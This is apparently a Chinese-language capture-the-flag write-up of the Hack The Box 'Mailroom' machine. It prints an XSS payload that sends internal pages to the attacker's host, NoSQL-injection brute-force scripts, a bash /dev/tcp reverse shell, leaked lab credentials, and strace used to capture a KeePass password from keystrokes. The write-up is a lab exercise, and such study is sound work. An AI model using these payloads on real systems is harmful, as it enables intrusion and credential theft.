Mailroom
Namp
┌──(root💀kali)-[~]
└─# nmap -A 10.10.11.209
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 22:27 EDT
Nmap scan report for 10.10.11.209
Host is up (0.093s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 94bb2ffcaeb9b182afd789811aa76ce5 (RSA)
| 256 821beb758b9630cf946e7957d9ddeca7 (ECDSA)
|_ 256 19fb45feb9e4275de5bbf35497dd68cf (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: The Mail Room
|_http-server-header: Apache/2.4.54 (Debian)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
xss漏洞
进到web界面各种尝试发现了一个xss
<script src="http://10.10.16.11/XSS/getcookie.php?cookie='+document.cookie+'"></script>
尝试这个payload来获取cookie失败了,什么都没拿到
XMLRequest发起ajax请求
在网上搜素了一段时间后发现了这篇文章
https://0xdf.gitlab.io/2021/03/20/htb-crossfit.html#subdomain-enum-again
他是利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下
文章中的payload
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {if(fetch_req.readyState == XMLHttpRequest.DONE) {var exfil_req = new XMLHttpRequest();exfil_req.open("POST", "http://10.10.14.11:3000", false);exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response);}
};
fetch_req.open("GET", "http://gym-club.crossfit.htb/security_threat/report.php", false);
fetch_req.send();
修改后:
<script>
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {if(fetch_req.readyState == XMLHttpRequest.DONE) {var exfil_req = new XMLHttpRequest();exfil_req.open("POST", "http://10.10.16.11", false);exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response);}
};
fetch_req.open("GET", "http://127.0.0.1//contact.php", false);
fetch_req.send();
</script>
nc -lvnp 80
成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求
寻找子域名
仔细观察下面mailroom.htb 尝试寻找子域名
┌──(root💀kali)-[~]
└─# gobuster vhost -u http://mailroom.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://mailroom.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/04/16 22:50:03 Starting gobuster in VHOST enumeration mode
===============================================================
Found: git.mailroom.htb Status: 200 [Size: 13201]
Progress: 41955 / 114442 (36.66%)
staff-review-panel 子域名
发现了新的子域名:http://staff-review-panel.mailroom.htb/auth.php?token=
把子域名信息添加到/etc/hosts
文件中
10.10.11.209 mailroom.htb
10.10.11.209 git.mailroom.htb
10.10.11.209 staff-review-panel.mailroom.htb
我们直接在kali本地访问,发现403了
那么接下来我们尝试使用xss进行请求
└─# cat pwned.js
var http = new XMLHttpRequest();
http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {fetch("http://10.10.16.6/out?" + encodeURI(btoa(this.responseText)));
};
http.send(null);
Burpsuite 报文
POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://mailroom.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mailroom.htb/contact.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: closeemail=1%401.com&title=1&message=<script src="http://10.10.16.6/pwned.js"></script>
成功接收回显!!读取到的内容是base64 加密过后的内容
代码审计
index.php
<!DOCTYPE html>
<html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><meta name="description" content="" /><meta name="author" content="" /><title>Inquiry Review Panel</title><!-- Favicon--><link rel="icon" type="image/x-icon" href="assets/favicon.ico" /><!-- Bootstrap icons--><link href="font/bootstrap-icons.css" rel="stylesheet" /><!-- Core theme CSS (includes Bootstrap)--><link href="css/styles.css" rel="stylesheet" />
</head><body><div class="wrapper fadeInDown"><div id="formContent"><!-- Login Form --><form id='login-form' method="POST"><h2>Panel Login</h2><input required type="text" id="email" class="fadeIn second" name="email" placeholder="Email"><input required type="password" id="password" class="fadeIn third" name="password" placeholder="Password"><input type="submit" class="fadeIn fourth" value="Log In"><p hidden id="message" style="color: #8F8F8F">Only show this line if response - edit code</p></form><!-- Remind Passowrd --><div id="formFooter"><a class="underlineHover" href="register.html">Create an account</a></div></div></div><!-- Bootstrap core JS--><script src="js/bootstrap.bundle.min.js"></script><!-- Login Form--><script>// Get the form elementconst form = document.getElementById('login-form');// Add a submit event listener to the formform.addEventListener('submit', event => {// Prevent the default form submissionevent.preventDefault();// Send a POST request to the login.php scriptfetch('/auth.php', {method: 'POST',body: new URLSearchParams(new FormData(form)),headers: { 'Content-Type': 'application/x-www-form-urlencoded' }}).then(response => {return response.json();}).then(data => {// Display the name and message in the pagedocument.getElementById('message').textContent = data.message;document.getElementById('password').value = '';document.getElementById('message').removeAttribute("hidden");}).catch(error => {// Display an error message//alert('Error: ' + error);});});</script>
</body>
</html>
看回显内容这个界面大概是一个登录页面,看到还有注册的页面,读取一下register.html
register.html
<!DOCTYPE html>
<html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><meta name="description" content="" /><meta name="author" content="" /><title>Inquiry Review Panel</title><!-- Favicon--><link rel="icon" type="image/x-icon" href="assets/favicon.ico" /><!-- Bootstrap icons--><link href="font/bootstrap-icons.css" rel="stylesheet" /><!-- Core theme CSS (includes Bootstrap)--><link href="css/styles.css" rel="stylesheet" />
</head><body><div class="wrapper fadeInDown"><div id="formContent"><h2>We are not accepting any new registrants at this moment.</h2><br><br><br><div id="formFooter"><a class="underlineHover" href="index.php">Login</a></div></div></div><!-- Bootstrap core JS--><script src="js/bootstrap.bundle.min.js"></script>
</body></html>
对比这两个通过xss漏洞读取到的文件内容和仓库里面对比是一样的,所以接下来审计代码 ,我们把这个仓库git来
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/mailroom]
└─# git clone http://git.mailroom.htb/matthew/staffroom.git
Cloning into 'staffroom'...
remote: Enumerating objects: 1209, done.
remote: Counting objects: 100% (1209/1209), done.
remote: Compressing objects: 100% (531/531), done.
remote: Total 1209 (delta 666), reused 1198 (delta 660), pack-reused 0
Receiving objects: 100% (1209/1209), 1.47 MiB | 2.00 MiB/s, done.
Resolving deltas: 100% (666/666), done.
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/mailroom]
└─# ls
staffroom
把所以鉴权的位置都修改一下
都注释一下
auth.php
<?php
require 'vendor/autoload.php';session_start(); // Start a session
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {header('HTTP/1.1 503 Service Unavailable');echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);exit;
}
$collection = $client->backend_panel->users; // Select the users collection// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {// Verify the parameters are validif (!is_string($_POST['email']) || !is_string($_POST['password'])) {header('HTTP/1.1 401 Unauthorized');echo json_encode(['success' => false, 'message' => 'Invalid input detected']);}// Check if the email and password are correct$user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);if ($user) {// Generate a random UUID for the 2FA token$token = bin2hex(random_bytes(16));$now = time();// Update the user record in the database with the 2FA token if not already sent in the last minute$user = $collection->findOne(['_id' => $user['_id']]);if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {$collection->updateOne(['_id' => $user['_id']],['$set' => ['2fa_token' => $token, 'token_creation' => $now]]);// Send an email to the user with the 2FA token$to = $user['email'];$subject = '2FA Token';$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;mail($to, $subject, $message);}// Return a JSON response notifying about 2faecho json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);exit;} else {// Return a JSON error responseheader('HTTP/1.1 401 Unauthorized');echo json_encode(['success' => false, 'message' => 'Invalid email or password']);}
}// Check for invalid parameters
else if (!isset($_GET['token'])) {header('HTTP/1.1 400 Bad Request');echo json_encode(['success' => false, 'message' => 'Email and password are required']);exit;
}// Check if the form has been submitted
else if (isset($_GET['token'])) {// Verify Token parameter is validif (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {header('HTTP/1.1 401 Unauthorized');echo json_encode(['success' => false, 'message' => 'Invalid input detected']);exit;}// Check if the token is correct$user = $collection->findOne(['2fa_token' => $_GET['token']]);if ($user) {// Set the logged_in flag and name in the session$_SESSION['logged_in'] = true;$_SESSION['name'] = explode('@', $user['email'])[0];// Remove 2FA token since user already used it to log in$collection->updateOne(['_id' => $user['_id']],['$unset' => ['2fa_token' => '']]);// Redirect to dashboard since login was successfulheader('Location: dashboard.php');exit;} else {// Return a JSON error responseheader('HTTP/1.1 401 Unauthorized');echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);exit;}
}?>
审计了一下,这个页面的作用是鉴权,正如文件名auth.php 一样 ,首先观察到 后端用的数据库为 MongoDB
,MongoDB注意会有Nosql注入的情况,然后就是开始鉴权逻辑
- 首先检查用户是否通过POST请求发送emali 和 password 字段
- 在数据库中查找用户按照这个条件,如果找到该用户,那么进入2FA验证逻辑
- 服务的会发送一封邮件到指定的邮箱中,点击这个邮箱中收到的链接才会在session中存放一个token字段
- 最后校验这个token正确的话才表示登入成功,token长度为32个字符,且为字符串类型
这里是存在nosql注入的,有关于nosql注入的内容
Refer:https://book.hacktricks.xyz/pentesting-web/nosql-injection
inspect.php
<?php
session_start(); // Start a session
// Check if authorized
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {// header('Location: index.php'); // The user is NOT logged in, redirect back to the login page// exit;
}$data = '';
if (isset($_POST['inquiry_id'])) {$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");// Parse the data between and </p>$start = strpos($contents, '<p class="lead mb-0">');if ($start === false) {// Data not found$data = 'Inquiry contents parsing failed';} else {$end = strpos($contents, '</p>', $start);$data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));}
}$status_data = '';
if (isset($_POST['status_id'])) {$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['status_id']);$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");// Parse the data between and </p>$start = strpos($contents, '<p class="lead mb-1">');if ($start === false) {// Data not found$status_data = 'Inquiry contents parsing failed';} else {$end = strpos($contents, '</p>', $start);$status_data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));}
}
这个文件带有命令执行!!!shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
Nosql利用
这里是存在nosql注入的,有关于nosql注入的内容
Refer:https://book.hacktricks.xyz/pentesting-web/nosql-injection
我们看到auth.php中验证是通过 和MongoDB 交互的 我们在这里尝试 nosql
┌──(root💀kali)-[/home/…/hacktheboxtools/machine/mailroom/pwnjs]
└─# cat pwnnosql.jsvar http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {fetch("http://10.10.16.6/out?" + encodeURI(btoa(this.responseText)));
};
http.send("email[$ne]=someb0dy@sm.com&password[$ne]=someb0dy");
可以看到我们成功登录了
接下来想办法通过nosql爆破用户名和密码
brute-force username
下面的脚本通过递归调用的方式慢慢爆出我们想要的内容
┌──(root💀kali)-[/home/…/hacktheboxtools/machine/mailroom/pwnjs]
└─# cat pwnuser.js
async function callAuth(mail) {var http = new XMLHttpRequest();http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.onload = function () {if (/"success":true/.test(this.responseText)) {notify(mail);cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);}};http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {fetch("http://10.10.16.6/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {for (var i = 0; i < chars.length; i++) {callAuth(chars[i] + mail)}
}
cal(chars, "");
在bp上 连续发送两个包
我们可以看到返回了username 末尾的三个字符
那我们修改一下脚本
async function callAuth(mail) {var http = new XMLHttpRequest();http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.onload = function () {if (/"success":true/.test(this.responseText)) {notify(mail);cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);}};http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {fetch("http://10.10.16.6/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {for (var i = 0; i < chars.length; i++) {callAuth(chars[i] + mail)}
}
cal(chars, "tan");
把cal(chars,"") 修改成 cal(chars,"tan");
继续前面的操作,burpsuite 上发送两个包
可以看到又多爆出了3个email 的字符,一直这样操作直到,直到不再有新的字符生成
最后就是得到
email: tristan@mailroom.htb
brute-force password
async function callAuth(pass) {var http = new XMLHttpRequest();http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.onload = function () {if (/"success":true/.test(this.responseText)) {notify(pass);cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~", pass);}};http.send("email=tristan@mailroom.htb&password[$regex]=^"+pass);
}
function notify(pass) {fetch("http://10.10.16.6/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, pass) {for (var i = 0; i < chars.length; i++) {callAuth(pass+chars[i])}
}
cal(chars, "");
同样的方法爆破 password
bp点两下
开头前3位为69t 就和前面爆破 email 一样接着继续
最终得到一个密码
用户名和密码
password | |
---|---|
tristan | 69trisRulez! |
尝试ssh登录,成功登录
登录上来后,发现flag不在 tristan用户的跟目录下 在matthew 用户的根目录下
内网中的 staff-review-panel 这个域名我们不能直接访问,通过代建socks代理 探测
尝试登录需要 2FA验证
tristan@mailroom:/$ cd /var
tristan@mailroom:/var$ ls
backups cache crash lib local lock log mail opt run spool tmp
tristan@mailroom:/var$ cd mail
tristan@mailroom:/var/mail$ ls
root tristan
tristan@mailroom:/var/mail$ pwd
/var/mail
tristan@mailroom:/var/mail$ cat tristan
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])by mailroom.localdomain (Postfix) with SMTP id D9FCCB428for <tristan@mailroom.htb>; Thu, 20 Apr 2023 03:51:24 +0000 (UTC)
Subject: 2FAClick on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=d21406f4bbfb773bb13e87486c977e1d
From noreply@mailroom.htb Thu Apr 20 04:06:25 2023
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])by mailroom.localdomain (Postfix) with SMTP id C02DC1C6Ffor <tristan@mailroom.htb>; Thu, 20 Apr 2023 04:06:25 +0000 (UTC)
Subject: 2FAClick on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=1b3561f8c0bd39549c69774f8eba7b01tristan@mailroom:/var/mail$
我们在/etc/mail/tristan 文件中发现了这个链接
访问一下
成功进入
还记得inspect.php是可以执行命令嘛,在代码中调用了shell_exec
,传入参数我们可控 我们在这里尝试
nc 文件的内容
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/5555 0>&1
www-data@04db00295fe8:/var/www$ grep "matthew" ./ -r
grep "matthew" ./ -r
./mailroom/inquiries/5657465f7712d50b2aaceaa09453c71f.html:(Contact me back on: matthew@mailroom.htb)</p>
./mailroom/.git/logs/refs/heads/main:0000000000000000000000000000000000000000 5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 root <root@5e997c58f211.(none)> 1673805536 +0000 clone: from http://gitea:3000/matthew/mailroom.git
./mailroom/.git/logs/refs/heads/main:5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 05df50058522438204f42930fe3720a3b73d287b root <matthew@mailroom.htb> 1674125833 +0000 commit: added page timeout
./mailroom/.git/logs/refs/remotes/origin/main:5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 05df50058522438204f42930fe3720a3b73d287b root <matthew@mailroom.htb> 1674125839 +0000 update by push
./mailroom/.git/logs/refs/remotes/origin/HEAD:0000000000000000000000000000000000000000 5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 root <root@5e997c58f211.(none)> 1673805536 +0000 clone: from http://gitea:3000/matthew/mailroom.git
./mailroom/.git/logs/HEAD:0000000000000000000000000000000000000000 5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 root <root@5e997c58f211.(none)> 1673805536 +0000 clone: from http://gitea:3000/matthew/mailroom.git
./mailroom/.git/logs/HEAD:5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 05df50058522438204f42930fe3720a3b73d287b root <matthew@mailroom.htb> 1674125833 +0000 commit: added page timeout
./mailroom/.git/config: url = http://matthew:HueLover83%23@gitea:3000/matthew/mailroom.git
./mailroom/.git/config: email = matthew@mailroom.htb
./staffroom/.git/logs/refs/heads/main:0000000000000000000000000000000000000000 4d3b167f4f228d18f97bb85da6983ff629274a3a root <root@5e997c58f211.(none)> 1673805542 +0000 clone: from http://gitea:3000/matthew/staffroom.git
./staffroom/.git/logs/refs/heads/main:4d3b167f4f228d18f97bb85da6983ff629274a3a 1677521748602cce2f0d7ab25664ac6d414e26ef root <matthew@mailroom.htb> 1674048504 +0000 commit: fixed path problem
./staffroom/.git/logs/refs/heads/main:1677521748602cce2f0d7ab25664ac6d414e26ef 4b6cd765986ff06ea7247528c42b4127633beb22 root <matthew@mailroom.htb> 1674125768 +0000 commit: fixed path bug & email spam
./staffroom/.git/logs/refs/remotes/origin/main:4d3b167f4f228d18f97bb85da6983ff629274a3a 1677521748602cce2f0d7ab25664ac6d414e26ef root <matthew@mailroom.htb> 1674048511 +0000 update by push
./staffroom/.git/logs/refs/remotes/origin/main:1677521748602cce2f0d7ab25664ac6d414e26ef 4b6cd765986ff06ea7247528c42b4127633beb22 root <matthew@mailroom.htb> 1674125777 +0000 update by push
./staffroom/.git/logs/refs/remotes/origin/HEAD:0000000000000000000000000000000000000000 4d3b167f4f228d18f97bb85da6983ff629274a3a root <root@5e997c58f211.(none)> 1673805542 +0000 clone: from http://gitea:3000/matthew/staffroom.git
./staffroom/.git/logs/HEAD:0000000000000000000000000000000000000000 4d3b167f4f228d18f97bb85da6983ff629274a3a root <root@5e997c58f211.(none)> 1673805542 +0000clone: from http://gitea:3000/matthew/staffroom.git
./staffroom/.git/logs/HEAD:4d3b167f4f228d18f97bb85da6983ff629274a3a 1677521748602cce2f0d7ab25664ac6d414e26ef root <matthew@mailroom.htb> 1674048504 +0000 commit: fixed path problem
./staffroom/.git/logs/HEAD:1677521748602cce2f0d7ab25664ac6d414e26ef 4b6cd765986ff06ea7247528c42b4127633beb22 root <matthew@mailroom.htb> 1674125768 +0000 commit: fixed path bug & email spam
./staffroom/.git/config: url = http://matthew:HueLover83%23@gitea:3000/matthew/staffroom.git
./staffroom/.git/config: email = matthew@mailroom.htb
www-data@04db00295fe8:/var/www$
反弹shell 后 我们参数搜索有 matthew 关键字的文件
http://matthew:HueLover83#@gitea:3000/matthew/staffroom.git
username | password |
---|---|
matthew | HueLover83# |
切换用户拿到userflag
root
在matthew 目录下发现一个 personal.kdbx 文件
尝试下载
上次打coder的时候,看见过这种后缀名的文件可以使用keePass软件打开,但是需要key
pspy 看进进程的时候找到了 kpcli 进程
通过ps -ef | grep kpcli | grep perl | awk '{print $2} '
来找到 kpcli的进程id
matthew@mailroom:~$ ps -ef | grep kpcli | grep perl | awk '{print $2} '
390872
通过 strace -p 来查看系统调用
strace log信息
matthew@mailroom:~$ strace -e read -p `ps -ef | grep kpcli | grep perl | awk '{print $2}'` -o readlog.txt
matthew@mailroom:~$cat readlog.txt
read(3, "e", 1) = 1
read(3, "/", 1) = 1
read(3, "m", 1) = 1
read(3, "a", 1) = 1
read(3, "t", 1) = 1
read(3, "t", 1) = 1
read(3, "h", 1) = 1
read(3, "e", 1) = 1
read(3, "w", 1) = 1
read(3, "/", 1) = 1
read(3, "p", 1) = 1
read(3, "e", 1) = 1
read(3, "r", 1) = 1
read(3, "s", 1) = 1
read(3, "o", 1) = 1
read(3, "n", 1) = 1
read(3, "a", 1) = 1
read(3, "l", 1) = 1
read(3, ".", 1) = 1
read(3, "k", 1) = 1
read(3, "d", 1) = 1
read(3, "b", 1) = 1
read(3, "x", 1) = 1
read(3, "\n", 1) = 1
read(5, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "!", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "s", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "E", 8192) = 1
read(0, "c", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "U", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "r", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "3", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "p", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "4", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "$", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "$", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "w", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "0", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "1", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "\10", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "r", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "d", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "9", 8192) = 1
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "\n", 8192) = 1
read(5, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
read(5, "\npackage Compress::Raw::Zlib;\n\nr"..., 8192) = 8192
read(5, " if $validate && $value !~ /^\\d+"..., 8192) = 8192
read(5, " croak \"Compress::Raw::Zlib::"..., 8192) = 8192
read(5, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0)\0\0\0\0\0\0"..., 832) = 832
read(5, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\200\"\0\0\0\0\0\0"..., 832) = 832
read(5, "# XML::Parser\n#\n# Copyright (c) "..., 8192) = 8192
read(6, "package XML::Parser::Expat;\n\nuse"..., 8192) = 8192
read(6, ";\n }\n}\n\nsub position_in_conte"..., 8192) = 8192
read(6, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240<\0\0\0\0\0\0"..., 832) = 832
read(6, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000B\0\0\0\0\0\0"..., 832) = 832
read(5, "package MIME::Base64;\n\nuse stric"..., 8192) = 5450
read(5, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\22\0\0\0\0\0\0"..., 832) = 832
read(6, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
read(6, "", 8192) = 0
read(3, "l", 1) = 1
read(3, "s", 1) = 1
read(3, " ", 1) = 1
read(3, "R", 1) = 1
read(3, "o", 1) = 1
read(3, "o", 1) = 1
read(3, "t", 1) = 1
read(3, "/", 1) = 1
read(3, "\n", 1) = 1
read(3, "s", 1) = 1
read(3, "h", 1) = 1
read(3, "o", 1) = 1
read(3, "w", 1) = 1
read(3, " ", 1) = 1
read(3, "-", 1) = 1
read(3, "f", 1) = 1
read(3, " ", 1) = 1
read(3, "0", 1) = 1
read(3, "\n", 1) = 1
read(3, "q", 1) = 1
read(3, "u", 1) = 1
read(3, "i", 1) = 1
read(3, "t", 1) = 1
read(3, "\n", 1) = 1
read(7, "# NOTE: Derived from blib/lib/Te"..., 8192) = 665
read(7, "", 8192) = 0
+++ exited with 0 +++
因为密码多半是我们从终端输入进去程序的,所以我们查看read的系统调用,之所以寻找调用read(0 的 的信息,0是标准输入流stdin,也就是我们的输入
matthew@mailroom:~$ cat log.txt | grep "read(0" | grep " 1"
read(0, "!", 8192) = 1
read(0, "s", 8192) = 1
read(0, "E", 8192) = 1
read(0, "c", 8192) = 1
read(0, "U", 8192) = 1
read(0, "r", 8192) = 1
read(0, "3", 8192) = 1
read(0, "p", 8192) = 1
read(0, "4", 8192) = 1
read(0, "$", 8192) = 1
read(0, "$", 8192) = 1
read(0, "w", 8192) = 1
